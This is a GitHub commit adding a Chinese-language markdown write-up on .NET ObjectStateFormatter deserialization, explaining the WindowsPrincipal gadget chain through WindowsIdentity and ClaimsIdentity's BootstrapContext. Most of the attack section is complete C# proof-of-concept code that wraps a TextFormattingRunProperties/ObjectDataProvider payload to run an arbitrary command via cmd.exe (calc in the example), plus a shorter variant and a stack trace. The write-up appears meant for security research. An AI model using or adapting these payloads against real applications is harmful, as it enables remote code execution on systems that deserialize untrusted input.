Skip to content

Commit 6cf97d5

Browse files
committed
ObjectStateFormatter.md
1 parent 01cdf6c commit 6cf97d5

File tree

5 files changed

+137
-0
lines changed

5 files changed

+137
-0
lines changed
7.75 KB
Loading
13.8 KB
Loading
3.98 KB
Loading
239 KB
Loading

ObjectStateFormatter.md

Lines changed: 137 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -147,3 +147,140 @@ namespace ObjectStateFormatterSerialize
147147

148148
运行后弹出calc。
149149

150+
## WindowsPrincipal
151+
152+
对于WindowsPrincipal的构造就两行代码
153+
154+
![image-20210507105715422](ObjectStateFormatter.assets/image-20210507105715422.png)
155+
156+
在generate的时候
157+
158+
![image-20210507110155824](ObjectStateFormatter.assets/image-20210507110155824.png)
159+
160+
新建了一个WindowsIdentity实例,其Actor字段的BootstrapContext值赋值为TextFormattingRunPropertiesGadget的payload。看到BootstrapContext就知道是ClaimsIdentity gadget的又一次利用。自己构造payload
161+
162+
```csharp
163+
using Microsoft.VisualStudio.Text.Formatting;
164+
using System;
165+
using System.Collections.Specialized;
166+
using System.Diagnostics;
167+
using System.Reflection;
168+
using System.Runtime.Serialization;
169+
using System.Security.Claims;
170+
using System.Security.Principal;
171+
using System.Web.UI;
172+
using System.Windows.Data;
173+
using System.Windows.Markup;
174+
175+
namespace ObjectStateFormatterSerialize
176+
{
177+
class Program
178+
{
179+
static void Main(string[] args)
180+
{
181+
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
182+
currentWI.Actor = new ClaimsIdentity();
183+
currentWI.Actor.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
184+
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
185+
obj.wi = currentWI;
186+
string v = new ObjectStateFormatter().Serialize(obj);
187+
new ObjectStateFormatter().Deserialize(v);
188+
}
189+
190+
191+
}
192+
[Serializable]
193+
public class WindowsPrincipalMarshal : ISerializable
194+
{
195+
public WindowsPrincipalMarshal() { }
196+
public WindowsIdentity wi { get; set; }
197+
public void GetObjectData(SerializationInfo info, StreamingContext context)
198+
{
199+
info.SetType(typeof(WindowsPrincipal));
200+
info.AddValue("m_identity", wi);
201+
}
202+
}
203+
204+
[Serializable]
205+
public class TextFormattingRunPropertiesMarshal : ISerializable
206+
{
207+
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
208+
{
209+
}
210+
string _xaml;
211+
public void GetObjectData(SerializationInfo info, StreamingContext context)
212+
{
213+
Type typeTFRP = typeof(TextFormattingRunProperties);
214+
info.SetType(typeTFRP);
215+
info.AddValue("ForegroundBrush", _xaml);
216+
}
217+
public TextFormattingRunPropertiesMarshal(string cmd)
218+
{
219+
// ObjectDataProvider
220+
ProcessStartInfo psi = new ProcessStartInfo();
221+
psi.FileName = "cmd.exe";
222+
psi.Arguments = $"/c {cmd}";
223+
StringDictionary dict = new StringDictionary();
224+
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
225+
Process p = new Process();
226+
p.StartInfo = psi;
227+
ObjectDataProvider odp = new ObjectDataProvider();
228+
odp.MethodName = "Start";
229+
odp.IsInitialLoadEnabled = false;
230+
odp.ObjectInstance = p;
231+
_xaml = XamlWriter.Save(odp);
232+
}
233+
}
234+
}
235+
```
236+
237+
WindowsPrincipal类有一个字段类型为WindowsIdentity
238+
239+
![image-20210508091951491](ObjectStateFormatter.assets/image-20210508091951491.png)
240+
241+
而前文中讲过WindowsIdentity的bootstrapContext字段可反序列化RCE。所以payload构造可以更简单些:
242+
243+
```csharp
244+
class Program
245+
{
246+
static void Main(string[] args)
247+
{
248+
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
249+
currentWI.BootstrapContext= new TextFormattingRunPropertiesMarshal("calc");
250+
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
251+
obj.wi = currentWI;
252+
string v = new ObjectStateFormatter().Serialize(obj);
253+
new ObjectStateFormatter().Deserialize(v);
254+
}
255+
}
256+
```
257+
258+
259+
260+
堆栈
261+
262+
![image-20210508092544937](ObjectStateFormatter.assets/image-20210508092544937.png)
263+
264+
可见在反序列化重建对象时,填充类型为WindowsIdentity的m_identity字段时触发了其父类的反序列化,从而反序列化bootstrapContext。
265+
266+
在GetObjectData中
267+
268+
```csharp
269+
[Serializable]
270+
public class WindowsPrincipalMarshal : ISerializable
271+
{
272+
public WindowsPrincipalMarshal() { }
273+
public WindowsIdentity wi { get; set; }
274+
public void GetObjectData(SerializationInfo info, StreamingContext context)
275+
{
276+
info.SetType(typeof(WindowsPrincipal));
277+
info.AddValue("m_identity", wi);
278+
}
279+
}
280+
```
281+
282+
m_identity可以改成随便的字符串,因为在info中,value对象被序列化存储,在反序列化时,info重建其value会自动反序列化。
283+
284+
# 后文
285+
286+
本文讲解了RolePrincipal、WindowsPrincipal攻击链。RolePrincipal是对ClaimsPrincipal的继承利用,WindowsPrincipal是套娃WindowsIdentity,本质还是通过ClaimsIdentity利用。

0 commit comments

Comments
 (0)